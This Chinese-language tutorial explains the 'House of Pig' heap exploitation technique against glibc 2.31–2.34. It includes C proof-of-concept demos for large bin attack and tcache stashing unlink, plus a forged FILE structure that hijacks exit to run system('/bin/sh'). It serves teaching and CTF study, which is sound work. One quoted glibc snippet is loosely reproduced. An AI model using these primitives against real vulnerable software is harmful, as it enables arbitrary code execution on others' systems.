回炉重修之house of pig 前置知识和带源码io解析
字数 1914 2025-08-22 12:22:36
House of Pig 漏洞利用技术详解
一、前置知识概述
House of Pig 是一种结合了多种堆利用技术的高版本libc攻击方法,主要适用于glibc 2.31-2.34版本。该技术需要以下条件:
- 可以通过large bin attack或其他方法覆盖
_IO_list_all为堆地址并伪造IO_file结构 - 存在calloc函数(通常通过malloc、memcpy、free组合实现)
- 存在tcache_stashing unlink漏洞
二、关键技术组件
1. 2.31版本后的Large Bin Attack
利用条件:
- libc版本:2.31-2.35
- 可以分配两个不同大小的chunk(一个到unsorted bin,一个到largebin)
- 从unsorted bin进入large bin的chunk的size要小于原large bin的size
- 可以通过UAF或溢出漏洞修改chunk的
bk_nextsize为target_addr-0x20
实现效果:
往目标地址中写入一个chunk的地址值
漏洞原理:
在glibc 2.31中新增了两个检查:
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
攻击路径:
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
测试demo:
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438);
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
assert((size_t)(p2-2) == target);
return 0;
}
2. Tcache Stashing Unlink
攻击条件:
- 将一个任意地址当做堆块放入到tcache中
- 选定一个size n,释放五个大小为n的堆块进入到tcache bin
- 精心准备让一个堆块进入到unsorted bin中,同时修改这个堆块的size变为n,再让其进入到small bin中
- 再重复构造一个同样size为n的堆块进入small bin后,修改该堆块的bk指针为
&target - 0x10 - 在
&target + 8的位置要存放有任意一个可写的地址 - 使用calloc申请一个size为n的堆块
核心代码:
while (tcache->counts[tc_idx] < mp_.tcache_count &&
(tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk; // 关键点:没有检查bck的完整性
set_inuse_bit_at_offset (tc_victim, nb);
bin->bk = bck;
bck->fd = bin; // 可以写入main_arena+96的地址
tcache_put (tc_victim, tc_idx);
}
}
测试demo:
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
tmp = malloc(0x1);
victim[1] = (uint64_t)(&victim);
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
s1 = malloc(0x420);
pad = malloc(0x20);
free(s1);
malloc(0x3c0);
malloc(0x100);
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
calloc(1, 0x50);
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
return 0;
}
3. Tcache Stashing Unlink++
增强版可以在将任意地址放入tcache的同时,往另一个任意地址写入libc地址。
测试demo:
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;
int main(int argc, char **argv) {
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
tmp = malloc(0x1);
victim[1] = (uint64_t)(&victim2)-0x10;
for (int i=0; i<5; i++) {
t1 = calloc(1, 0x50);
free(t1);
}
s1 = malloc(0x420);
pad = malloc(0x20);
free(s1);
malloc(0x3c0);
malloc(0x100);
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
calloc(1, 0x50);
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
return 0;
}
三、IO_FILE利用
1. 高版本IO_str_overflow变化
在libc 2.31下,io_str_overflow函数的实现发生了变化:
int _IO_str_overflow (FILE *fp, int c) {
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp); // fp->_IO_buf_end - fp->_IO_buf_base
if (old_buf) {
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
fp->_IO_buf_base = NULL;
}
// ...
}
关键点:
- 控制
(fp)->_IO_buf_end - (fp)->_IO_buf_base可以控制malloc申请的chunk大小 - 如果
old_buf存在内容,会复制到new_buf然后freeold_buf - 需要设置
pos = fp->_IO_write_ptr - fp->_IO_write_base足够大
2. House of Pig利用思路
- 将
malloc_hook设置为setcontext+61 - 触发
_IO_str_overflow,在伪造的FILE结构体中设置好数据 - 控制rdx为可控制的地址
_IO_str_overflow调用malloc触发setcontext,进行SROP
四、完整攻击流程
1. 攻击步骤
- 泄露libc和heap地址
- 构造largebin,进行第一次largebin attack,将
__free_hook-0x8写上一个堆地址 - 为tcache_stashing_unlink plus做准备:在tcache链中放入五个chunk,在smallbin中放入两个chunk
- 进行tcache_stashing_unlink,将
__free_hook-0x10链入tcache头 - 进行第二次largebin attack,将
_IO_list_all覆盖成堆地址 - 伪造IO_FILE结构体:
- 设置
vtable指向_IO_str_jumps - 控制
2 * (_IO_buf_end - _IO_buf_base) + 100等于目标tcache链的大小 - 在
_IO_buf_base指向的空间布置/bin/sh和system地址
- 设置
- 触发
exit调用链,最终通过free(old_buf)触发system('/bin/sh')
2. 关键伪造结构
fake_FILE[0xC0 / 8] = 0; // _mode
fake_FILE[0x28 / 8] = 0xfffffffffff; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base
fake_FILE[0xD8 / 8] = _IO_str_jumps; // vtable
fake_FILE[0x38 / 8] = chunk_1 + 0x20; // _IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46; // _IO_buf_end
3. 调用链
exit -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_str_overflow
五、防御与检测
- 检查large bin的完整性(glibc 2.30+已添加)
- 检查small bin的完整性
- 保护
_IO_list_all等关键IO结构 - 使用tcache hardening技术
六、参考文献
- https://blog.csdn.net/qq_54218833/article/details/128575508
- glibc源码分析(2.31版本)